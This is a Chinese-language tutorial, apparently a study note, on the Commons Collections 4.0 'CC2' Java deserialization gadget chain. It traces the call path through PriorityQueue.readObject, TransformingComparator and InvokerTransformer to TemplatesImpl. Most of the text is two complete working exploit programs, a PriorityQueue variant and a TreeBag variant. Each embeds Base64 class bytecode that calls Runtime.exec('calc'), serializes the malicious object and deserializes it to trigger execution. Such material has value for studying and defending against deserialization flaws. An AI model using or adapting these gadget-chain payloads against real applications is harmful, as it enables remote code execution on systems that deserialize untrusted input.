# 本文知识点：

只有 cc4.0 可以用

# 正文：

利用条件比较苛刻：首先 CommonsCollections3 中无法使用，因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用，因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承，导致无法序列化。

这里需要引入两个新的类，首先是 PriorityQueue 部分关键代码如下：

public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
    private transient Object[] queue;   //关键点，可以传入 TemplatesImpl
    private final Comparator<? super E> comparator;     //关键点可以反射设置我们自己的 Comparator

    //关键点，反序列化时字段执行的 readObject
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        //关键点，调用 heapify() 排序
        heapify();
    }

    //跟进 heapify() 方法
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    //跟进 siftDown 方法，如果 comparator 不为空，调用 siftDownUsingComparator
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    //跟进 siftDownUsingComparator 方法，可以看到这里调用了我们自定义的 Comparator
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)    //关键点
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

}

可以看到其反序列化时调用 readObject 方法，然后最终会调用 我们自定义的 Comparator 的 compare 方法。那么这个自定义的 Comparator 我们要怎么实现呢？

借助 TransformingComparator 类，可以看到其 Comparator 方法中会调用 this.transformer.transform ()。这是一个关键点，毕竟拿到 Transformer.transform () 就什么都好说。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    public int compare(I obj1, I obj2) {
        //关键点
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

# priorityQueue 实现

最后我们实现的代码如下：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {

    public static void main(String[] args) {

        try{
            //字节码
            byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

            //反射设置 Field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{code});
            setFieldValue(templates, "_name", "HelloTemplatesImpl");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

            //为了执行 templates.newTransformer
            InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

            //TransformingComparator 实例
            TransformingComparator comparator = new TransformingComparator(invokerTransformer);

            //PriorityQueue 实例
            PriorityQueue priorityQueue = new PriorityQueue(2);
            //先设置为正常变量值，后面可以通过setFieldValue修改
            priorityQueue.add(1);
            priorityQueue.add(1);

            //反射设置 Field
            Object[] objects = new Object[]{templates, templates};
            setFieldValue(priorityQueue, "queue", objects);
            setFieldValue(priorityQueue, "comparator", comparator);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(priorityQueue);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }


    //反射设置 Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

大体调用栈：

->PriorityQueue.readObject()
      ->PriorityQueue.heapify()
          ->PriorityQueue.siftDown()
            ->PriorityQueue.siftDownUsingComparator()
                ->TransformingComparator.compare()
                    ->InvokerTransformer.transform()
                        ->TemplatesImpl.newTransformer()
                        ->…………

# TreeBag 实现

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class cc2TreeBag {

    public static void main(String[] args) {

        try{
            //字节码
            byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

            //反射设置 Field
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", new byte[][]{code});
            setFieldValue(templates, "_name", "bp");
            setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

            //为了执行 templates.newTransformer
            InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

            //TransformingComparator 实例
            TransformingComparator comparator = new TransformingComparator(invokerTransformer);

            TreeBag treeBag = new TreeBag(comparator);
            treeBag.add(templates);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(treeBag);
            oos.flush();
            oos.close();

            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }


    //反射设置 Field
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}